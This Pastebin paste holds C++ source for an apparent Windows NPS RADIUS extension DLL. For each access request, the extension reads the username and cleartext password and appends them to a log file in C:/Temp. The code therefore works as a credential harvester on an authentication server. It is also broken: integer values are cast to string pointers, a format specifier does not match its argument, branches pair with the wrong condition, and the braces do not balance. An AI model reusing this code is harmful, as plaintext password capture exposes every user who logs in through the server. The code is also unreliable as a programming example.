Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // myFirstDll.cpp : Defines the exported functions for the DLL application.
- //
- //set includes
- #include "stdafx.h"
- #include <iostream>
- #include <fstream>
- #include <Windows.h>
- #include <Authif.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <ctime>
- #include <string>
- #define _CRT_SECURE_NO_WARNINGS
- void logger(const char * msg) //logger function --> Write to a log
- {
- #pragma warning(push)
- #pragma warning(disable:4996)
- FILE * fp = fopen("C:/Temp/NPS.log.txt", "a");
- if (fp)
- {
- fprintf(fp, "%s\n", msg);
- fclose(fp);
- }
- #pragma warning(pop)
- }
- DWORD WINAPI RadiusExtensionProcess2(
- _Inout_ PRADIUS_EXTENSION_CONTROL_BLOCK pECB
- )
- {
- #pragma warning(disable: 4996)
- if (pECB != NULL)
- {
- if (pECB->rcRequestType == rcAccessRequest) //check if the request is a access request
- {
- RADIUS_ATTRIBUTE_ARRAY * pAR = pECB->GetRequest(pECB); //get the attribute array
- if (pAR != NULL) //check if the attribute array is not empty
- {
- //Initialize some variables
- char * username = NULL;
- char * password = NULL;
- char * uniqueId = NULL;
- char * clientIp = NULL;
- //get the size of the attribute array
- DWORD size = pAR->GetSize(pAR);
- //pre-init the attirbute pointer
- const RADIUS_ATTRIBUTE * pRA;
- //Loop through each object in attribute array
- for (DWORD iAR = 0; iAR < size; iAR++)
- {
- //Get the attribute from the array
- pRA = pAR->AttributeAt(pAR, iAR);
- if (pRA != NULL) //check if the attribute is not empty
- {
- if (pRA->dwAttrType == ratUserName) //get username
- {
- username = (char *)pRA->lpValue;
- }
- if (pRA->dwAttrType == ratUniqueId)
- {
- uniqueId = (char *)pRA->dwValue;;
- }
- if (pRA->dwAttrType == ratUserPassword)
- {
- password = (char *)pRA->lpValue;
- }
- if (pRA->dwAttrType == ratCallingStationId)
- {
- clientIp = (char *)pRA->dwValue;
- }
- }
- }
- //write the result to the log file
- char buft[2048];
- sprintf(buft, "Recieved Request (ID:%d) for user: %s, pass: %s", uniqueId, username, password);
- logger(buft);
- }
- else if (pECB->rcRequestType == rcAccountingRequest)
- {
- pECB->SetResponseType(pECB, rcAccountingResponse);
- }
- else
- {
- pECB->SetResponseType(pECB, rcUnknown);
- }
- }
- }
- return NO_ERROR; //Exit the complete function
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement